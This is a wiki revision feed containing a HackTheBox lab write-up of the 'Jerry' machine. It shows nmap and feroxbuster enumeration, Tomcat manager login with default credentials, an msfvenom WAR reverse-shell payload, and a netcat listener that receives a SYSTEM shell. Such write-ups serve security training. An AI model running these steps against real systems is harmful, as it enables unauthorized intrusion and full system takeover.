<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FJerry</id>
	<title>Write-ups/HTB/Jerry - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FJerry"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Jerry&amp;action=history"/>
	<updated>2026-04-21T15:20:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Jerry&amp;diff=1181&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 19:39, 24 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Jerry&amp;diff=1181&amp;oldid=prev"/>
		<updated>2022-01-24T19:39:55Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Jerry&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Tomcat, Default Credentials, WAR Upload&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-119.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Windows box used default passwords on the Apache tomcat, allowing us to log into the websever and upload a payload that gave us reverse shell. The developers also did a mistake, running the webserver with the user NT AUTHORITY\ SYSTEM, giving us instant high privileged user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We&amp;#039;ll start with an nmap scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/jerry]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.95 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 18:03 EST&lt;br /&gt;
Nmap scan report for 10.10.10.95&lt;br /&gt;
Host is up (0.030s latency).&lt;br /&gt;
Not shown: 65534 filtered tcp ports (no-response)&lt;br /&gt;
PORT     STATE SERVICE VERSION&lt;br /&gt;
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1&lt;br /&gt;
|_http-favicon: Apache Tomcat&lt;br /&gt;
|_http-title: Apache Tomcat/7.0.88&lt;br /&gt;
|_http-open-proxy: Proxy might be redirecting requests&lt;br /&gt;
|_http-server-header: Apache-Coyote/1.1&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 21.36 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only port &amp;#039;&amp;#039;&amp;#039;8080 &amp;#039;&amp;#039;&amp;#039;open on this machine, and its running &amp;#039;&amp;#039;&amp;#039;Apache Tomcat/Coyote JSP engine 1.1&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache Tomcat is a free and open-source implementation of the Jakarta Servlet, Jakarta Expression Language, and WebSocket technologies.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123000418.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running a dir brute-force attack against the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/jerry]&lt;br /&gt;
└─# feroxbuster --url http://10.10.10.95:8080&lt;br /&gt;
&lt;br /&gt;
 ___  ___  __   __     __      __         __   ___&lt;br /&gt;
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__&lt;br /&gt;
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___&lt;br /&gt;
by Ben &amp;quot;epi&amp;quot; Risher 🤓                 ver: 2.4.1&lt;br /&gt;
───────────────────────────┬──────────────────────&lt;br /&gt;
 🎯  Target Url            │ http://10.10.10.95:8080&lt;br /&gt;
 🚀  Threads               │ 50&lt;br /&gt;
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt&lt;br /&gt;
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]&lt;br /&gt;
 💥  Timeout (secs)        │ 7&lt;br /&gt;
 🦡  User-Agent            │ feroxbuster/2.4.1&lt;br /&gt;
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml&lt;br /&gt;
 🔃  Recursion Depth       │ 4&lt;br /&gt;
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest&lt;br /&gt;
───────────────────────────┴──────────────────────&lt;br /&gt;
 🏁  Press [ENTER] to use the Scan Management Menu™&lt;br /&gt;
──────────────────────────────────────────────────&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/docs&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/manager&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/docs/images&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/docs/api&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/docs/config&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/images&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/include&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/error&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/xml&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/manager/images&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/servlets&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/servlets/images&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/servlets/chat&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/plugin&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/security&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/forward&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/sessions&lt;br /&gt;
401       63l      289w     2536c http://10.10.10.95:8080/manager/html&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/servlets/chat/chat&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/cal&lt;br /&gt;
401       63l      289w     2536c http://10.10.10.95:8080/manager/text&lt;br /&gt;
200       23l       45w      650c http://10.10.10.95:8080/examples/jsp/security/protected&lt;br /&gt;
401       63l      289w     2536c http://10.10.10.95:8080/manager/status&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/colors&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/plugin/applet&lt;br /&gt;
200        0l        0w        0c http://10.10.10.95:8080/examples/con&lt;br /&gt;
200        0l        0w        0c http://10.10.10.95:8080/docs/api/con&lt;br /&gt;
200        0l        0w        0c http://10.10.10.95:8080/docs/con&lt;br /&gt;
302        0l        0w        0c http://10.10.10.95:8080/examples/jsp/async&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The interesting sub directories here is &amp;#039;&amp;#039;&amp;#039;/manager. &amp;#039;&amp;#039;&amp;#039;When visiting the page it prompted us to type in a username and password. When failing, this is the 403 message we got.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123005646.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The username and password where shown in cleartext in the 403 message. &amp;#039;&amp;#039;&amp;#039;tomcat:s3cret. &amp;#039;&amp;#039;&amp;#039;When logging in its possbile to upload files, so we try to upload a payload that will give us reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/jerry/]&lt;br /&gt;
└─# msfvenom -p java/jsp_shell_reverse_tcp -f war LHOST=10.10.14.17 LPORT=4444 &amp;gt; shell.war                                                                                                                                              1 ⨯&lt;br /&gt;
Payload size: 1085 bytes&lt;br /&gt;
Final size of war file: 1085 bytes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And uploading the shell to the webserver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123021436.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123021507-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that our shell is uploaded, we start a netcat listener and visit the subdirectory. This will give is a connection back to our listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444                                                                                                                                                                                                                1 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.95] 49196&lt;br /&gt;
Microsoft Windows [Version 6.3.9600]&lt;br /&gt;
(c) 2013 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&lt;br /&gt;
C:\apache-tomcat-7.0.88&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Taking a closer look at the HTTP status message that pop up on the screen can reveal useful information.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>